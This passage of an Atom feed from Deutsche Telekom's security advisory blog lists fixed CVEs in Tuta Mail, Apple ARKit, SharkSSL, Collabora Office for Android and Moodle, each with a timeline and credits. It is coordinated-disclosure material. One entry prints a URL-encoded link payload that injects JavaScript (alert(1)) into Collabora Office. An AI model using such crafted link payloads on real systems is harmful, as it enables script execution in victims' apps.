&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Product:&lt;/strong&gt; Tuta Mail&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; Tuta Mail &amp;lt; 3.119.10&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Server-Side Request Forgery (SSRF) (CWE-918)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk Level:&lt;/strong&gt; Medium&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor URL:&lt;/strong&gt; https://tuta.com/&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor acknowledged vulnerability:&lt;/strong&gt; Yes&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Status:&lt;/strong&gt; Fixed&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2024-23330&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The vulnerability was discovered during testing of Tutanota for iOS. By sending a html email with an embeded svg image, an attacker could receive the information when the email was read, which device is used and the user’s ip address.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-23330&quot;&gt;CVE-2024-23330&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/tutao/tutanota/security/advisories/GHSA-32w8-v5fc-vpp7&quot;&gt;Tuta Mail Advisory&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2024-01-22:&lt;/strong&gt; Vendor has reported that the vulnerability has been fixed.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-11-29:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Tom Peine (&lt;a href=&quot;mailto:Tom.Peine@telekom.de&quot;&gt;Tom.Peine@telekom.de&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Tuta Mail Vulnerability - DoS</title>
    <link href="https://github.security.telekom.com/2024/11/tuta-mail-dos.html"/>
    <id>https://github.security.telekom.com/2024/11/tuta-mail-dos.html</id>
    <updated>2024-11-29T00:00:00+00:00</updated>
    <summary type="html">A denial of service vulnerability (CVE-2024-23655) has been identified in Tuta Mail. This vulnerability could prevent users from accessing and reading received mails when an attacker sends a manipulated mail.</summary>
    <content type="html">&lt;p&gt;A denial of service vulnerability (CVE-2024-23655) has been identified in Tuta Mail. This vulnerability could prevent users from accessing and reading received mails when an attacker sends a manipulated mail.&lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Product:&lt;/strong&gt; Tuta Mail&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; Tuta Mail &amp;gt;=3.118.12, &amp;lt; 3.119.10&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Improper Input Validation (CWE-20)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk Level:&lt;/strong&gt; High&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor URL:&lt;/strong&gt; https://tuta.com/&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor acknowledged vulnerability:&lt;/strong&gt; Yes&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Status:&lt;/strong&gt; Fixed&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2024-23655&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The vulnerability was discovered during testing of Tutanota for iOS. By sending a manipulated email, an attacker could put the app into an unusable state. In this case, a user can no longer access received e-mails. Since the vulnerability affects not only the app, but also the web application, a user in this case has no way to access received emails.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-23655&quot;&gt;CVE-2024-23655&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/tutao/tutanota/security/advisories/GHSA-5h47-g927-629g&quot;&gt;Tuta Mail Advisory&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2024-01-25:&lt;/strong&gt; Vendor has reported that the vulnerability has been fixed.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-11-29:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Tom Peine (&lt;a href=&quot;mailto:Tom.Peine@telekom.de&quot;&gt;Tom.Peine@telekom.de&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Security Content for iOS, iPadOS, and macOS</title>
    <link href="https://github.security.telekom.com/2024/11/apple-heap-overflow.html"/>
    <id>https://github.security.telekom.com/2024/11/apple-heap-overflow.html</id>
    <updated>2024-11-27T00:00:00+00:00</updated>
    <summary type="html">A heap corruption vulnerability (CVE-2024-44126) has been identified in several Apple products that use the ARKit component. This vulnerability could compromise the security of devices when processing a specially crafted file.</summary>
    <content type="html">&lt;p&gt;A heap corruption vulnerability (CVE-2024-44126) has been identified in several Apple products that use the ARKit component. This vulnerability could compromise the security of devices when processing a specially crafted file. &lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Product:&lt;/strong&gt; Apple Software&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; macOS Ventura &amp;lt; 13.7.1, iOS &amp;lt; 17.7, iPadOS &amp;lt; 17.7, macOS Sonoma &amp;lt; 14.7&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Out-of-bounds Write (CWE-787)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk Level:&lt;/strong&gt; High&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor URL:&lt;/strong&gt; https://support.apple.com&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor acknowledged vulnerability:&lt;/strong&gt; Yes&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Status:&lt;/strong&gt; Fixed&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2024-44126&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This vulnerability has the potential to lead to data exfiltration and system instability, posing a risk to users of iOS and macOS devices. It is recommended that users ensure they have the latest software versions installed to mitigate this vulnerability.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-44126&quot;&gt;CVE-2024-44126&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://support.apple.com/en-us/121238&quot;&gt;Apple Support - Update 1&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://support.apple.com/en-us/121246&quot;&gt;Apple Support - Update 2&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://support.apple.com/en-us/121247&quot;&gt;Apple Support - Update 3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://support.apple.com/en-us/121249&quot;&gt;Apple Support - Update 4&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://support.apple.com/en-us/121250&quot;&gt;Apple Support - Update 5&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://support.apple.com/en-us/121568&quot;&gt;Apple Support - Update 6&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2024-09-16:&lt;/strong&gt; Vendor has fixed the vulnerability.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-10-28:&lt;/strong&gt; Vendor has reported that the vulnerability has been fixed.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-11-27:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Holger Fuhrmannek (&lt;a href=&quot;mailto:holger.fuhrmannek@telekom.de&quot;&gt;holger.fuhrmannek@telekom.de&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Remote buffer overflow vulnerability in SharkSSL TLS Client Key Exchange handshake processing</title>
    <link href="https://github.security.telekom.com/2024/11/sharkssl.html"/>
    <id>https://github.security.telekom.com/2024/11/sharkssl.html</id>
    <updated>2024-11-04T00:00:00+00:00</updated>
    <summary type="html">A new remote buffer overflow vulnerability (CVE-2024-48075) was discovered in the latest version of the SharkSSL library from 09.09.2024 (https://github.com/RealTimeLogic/SharkSSL) by security evaluators of Deutsche Telekom Security GmbH and Deutsche Telekom AG with modern fuzzing methods. View the full advisory</summary>
    <content type="html">&lt;p&gt;A new remote buffer overflow vulnerability (CVE-2024-48075) was discovered in the latest version of the SharkSSL library from 09.09.2024 (https://github.com/RealTimeLogic/SharkSSL) by security evaluators of Deutsche Telekom Security GmbH and Deutsche Telekom AG with modern fuzzing methods.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/advisories/dl-241104-cve-2024-48075-data.pdf&quot;&gt;View the full advisory&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Collabora Office for Android - JavaScript Injection via Links</title>
    <link href="https://github.security.telekom.com/2024/09/collabora-office-android-javascript-injection.html"/>
    <id>https://github.security.telekom.com/2024/09/collabora-office-android-javascript-injection.html</id>
    <updated>2024-09-06T00:00:00+00:00</updated>
    <summary type="html">A JavaScript Injection vulnerability (CVE-2024-45045) has been identified in Collabora Office for Android, allowing an attacker to execute arbitrary JavaScript within the context of the Android App when a victim opens a specially crafted document.</summary>
    <content type="html">&lt;p&gt;A JavaScript Injection vulnerability (CVE-2024-45045) has been identified in Collabora Office for Android, allowing an attacker to execute arbitrary JavaScript within the context of the Android App when a victim opens a specially crafted document.&lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Product:&lt;/strong&gt; Collabora Office for Android&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; &amp;lt; 24.04.6.2&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Improper Neutralization of Encoded URI Schemes in a Web Page (CWE-84)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk Level:&lt;/strong&gt; Medium&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor URL:&lt;/strong&gt; https://www.collaboraonline.com/collabora-office-android-ios/&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor acknowledged vulnerability:&lt;/strong&gt; Yes&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Status:&lt;/strong&gt; Fixed&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2024-45045&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The vulnerability was discovered during testing of Collabora Office for Android. In affected versions of the app, it is possible to inject JavaScript via a document with a specially crafted link using URL-encoded values. For instance, a link with the target &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;http://www.google.de/%22%27%2b%61%6c%65%72%74%28%31%29%2b%27&quot;&lt;/code&gt; triggers the execution of the JavaScript code &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;alert(1)&quot;&lt;/code&gt; when the link is activated. Since it is possible for a link to be automatically activated when a document is opened, the vulnerability could be triggered after a victim opens a document without any further user interaction.&lt;/p&gt;

&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;

&lt;p&gt;Since the Android JavaScript interface allows access to internal functions, the likelihood that the app could be compromised via this vulnerability is considered high.&lt;/p&gt;

&lt;h3 id=&quot;remediation&quot;&gt;Remediation&lt;/h3&gt;

&lt;p&gt;It is recommended to upgrade to the latest version of Collabora Office for Android to fix this vulnerability.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/CollaboraOnline/online/security/advisories/GHSA-78cg-rg4q-26qv&quot;&gt;Collabora Advisory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.collabora.libreoffice&quot;&gt;Collabora Office - Play Store&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2024-03-18:&lt;/strong&gt; Vulnerability reported to the vendor.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-08-29:&lt;/strong&gt; Vendor has reported that the vulnerability has been fixed.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-09-06:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Holger Fuhrmannek (&lt;a href=&quot;mailto:holger.fuhrmannek@telekom.de&quot;&gt;holger.fuhrmannek@telekom.de&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Moodle - Reflected XSS Vulnerability via H5P error message</title>
    <link href="https://github.security.telekom.com/2024/08/reflected-xss-moodle.html"/>
    <id>https://github.security.telekom.com/2024/08/reflected-xss-moodle.html</id>
    <updated>2024-08-28T00:00:00+00:00</updated>
    <summary type="html">A reflected cross-site scripting (XSS) vulnerability (CVE-2024-43439) has been identified in Moodle, allowing an attacker to execute arbitrary JavaScript within the context of a Moodle website when a victim visits a specially crafted link.</summary>
    <content type="html">&lt;p&gt;A reflected cross-site scripting (XSS) vulnerability (CVE-2024-43439) has been identified in Moodle, allowing an attacker to execute arbitrary JavaScript within the context of a Moodle website when a victim visits a specially crafted link.&lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Product:&lt;/strong&gt; Moodle&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11, and earlier unsupported versions&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Cross-site Scripting (CWE-79)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk Level:&lt;/strong&gt; High&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor URL:&lt;/strong&gt; https://moodle.org/&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor acknowledged vulnerability:&lt;/strong&gt; Yes&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Status:&lt;/strong&gt; Fixed&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2024-43439&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The vulnerability was discovered during a penetration test of a Moodle-based website. The attack is possible when a teacher, who could also be the victim, uploads an H5P file to a course. While the H5P file itself does not contain malicious content, an attacker (such as a malicious student) can obtain and modify the link associated with this file. By replacing part of the link with double URL-encoded JavaScript code, the attacker can create a link that, when viewed by the victim, triggers execution of the embedded JavaScript code. This is possible because an error message related to H5P files is not properly sanitized before it is displayed.&lt;/p&gt;

&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;

&lt;p&gt;An attacker could execute arbitrary JavaScript code within the victim’s Moodle session, which could lead to actions such as session hijacking or unauthorized data access.&lt;/p&gt;

&lt;h3 id=&quot;remediation&quot;&gt;Remediation&lt;/h3&gt;

&lt;p&gt;It is recommended to upgrade to the latest version of Moodle to fix this vulnerability.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://moodle.org/mod/forum/discuss.php?d=461209#p1851881&quot;&gt;Moodle Advisory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-43439&quot;&gt;CVE-2024-43439&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2024-07-03:&lt;/strong&gt; Vulnerability reported to the vendor.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-08-19:&lt;/strong&gt; Vendor has reported that the vulnerability has been fixed.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2024-08-28:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Holger Fuhrmannek (&lt;a href=&quot;mailto:holger.fuhrmannek@telekom.de&quot;&gt;holger.fuhrmannek@telekom.de&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
</feed>
